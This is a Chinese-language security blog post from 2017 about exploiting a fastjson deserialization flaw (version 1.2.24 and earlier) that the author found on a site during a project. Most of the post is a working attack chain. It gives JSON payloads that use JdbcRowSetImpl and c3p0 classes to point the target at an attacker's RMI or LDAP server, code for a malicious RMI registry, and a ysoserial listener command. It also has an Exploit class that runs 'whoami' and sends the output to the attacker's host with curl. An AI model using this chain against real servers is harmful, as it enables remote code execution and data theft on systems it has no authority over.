11月30, 2017

fastjson反序列化利用

在某次项目中正好遇到一个网站用了fastjson,简单记录下使用JdbcRowSetImpl构造方式的利用方法。


0x00 关于fastjson

fastjson是alibaba开源的一款高性能功能完善的JSON库,在2017年4月18日的时候官方自己爆出了一个安全漏洞,可以围观此链接

影响范围 1.2.24以及之前版本

alt

0x01 利用手法

在测试的时候发现大部分请求都是一个url,且大部分Request body中都是有json的,然后就突发奇想的试试后端时候是使用fastjson去解析的json。

我自己大概想出两种方法一种是直接打JdbcRowSetImpl的poc,如果后端是用的fastjson并存在漏洞的话,我用netcat是可以看到请求的。

alt

另一种就是构造异常的json请求,在等后端抛出异常看其中的信息吧,这里我直接删除了最后一个大括号达到了此效果。在StackTrace中可以看到fastjson的身影并使用了方法parseObject

alt

漏洞利用的大致流程为

攻击者发送payload=》应用服务parseOjbect=》在去请求我们的rmi service=》应用服务在去获取我们注册的恶意的class并执行=》攻击者获取shell

PAYLOAD
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://x.x.x.x:1099/Object","autoCommit":true}
{"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource","JndiName":"rmi://fastjson.ceye.io:1099/Object", "loginTimeout":0}
{"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource","JndiName":"ldap://fastjson.ceye.io:1389/Object", "loginTimeout":0}

通过发送构造的poc,我们已经完成了第一步及第二步。接着利用下面的java代码去创建一个rmi,也可以使用marshalsec去创建一个rmi server。

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

@SuppressWarnings("restriction")
public class rmi {
    /***
     * 启动RMI服务
     *
     * @throws Exception
     */
    public static void lanuchRMIregister(String host) throws Exception {
        System.out.println("Creating RMI Registry on port 1099");
        Registry registry = LocateRegistry.createRegistry(1099);
        // 最终下载恶意类的地址为http://x.x.x.x/Exploit.class
        Reference reference = new Reference("ExportObject", "ExportObject", "http://x.x.x.x/");
        // Reference包装类Exploit
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Object", referenceWrapper);
    }
    public static void main(String[] args) throws Exception {
        System.out.println("usage: java -jar fastjson_poc.jar ip\n");
        lanuchRMIregister(args[0]);
    }
}

yso

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099  CommonsCollections1 'curl http://x.x.x.x/poc'

在接着构造一个恶意的class,这里我通过执行命令然后将结果通过http请求的方式返回至我的服务器来验证攻击是否成功。

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;


public class Exploit {
    public static String exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        return sb;
    }
    public Exploit() throws Exception {
        String result = "";
        result = exec("whoami");
        String cmd="curl http://x.x.x.x/"+result;
        throw new Exception(exec(cmd));
    }

    public static void main(String[] args) throws Exception {
        String result = "";
        result = exec("whoami");
        String cmd="curl http://x.x.x.x/"+result;
        throw new Exception(exec(cmd));
    }
}

直接javac Exploit.java就可以编译生成Exploit.class

将编译好的rmi.jar及exploit.class放置服务器并运行

java -jar fastjson_rce-1.0-SNAPSHOT.jar 47.89.46.0

alt 在把恶意的class放在我的nginx服务的目录下,这里也可以直接用python -m http.server简单的跑一个httpserver alt 接着在发送poc至服务器,我们的nginx访问日志中就可以看到被攻击的应用服务在请求我们的class,并将命令执行结果带回来了。 alt

0x02 参考资料

http://rickgray.me/jndi-injection-from-theory-to-apply-blackhat-review

https://github.com/mbechler/marshalsec

各位大佬微博

本文链接:https://lazydog.me/post/fastjson-JdbcRowSetImpl-rce-exploit.html

-- EOF --

Comments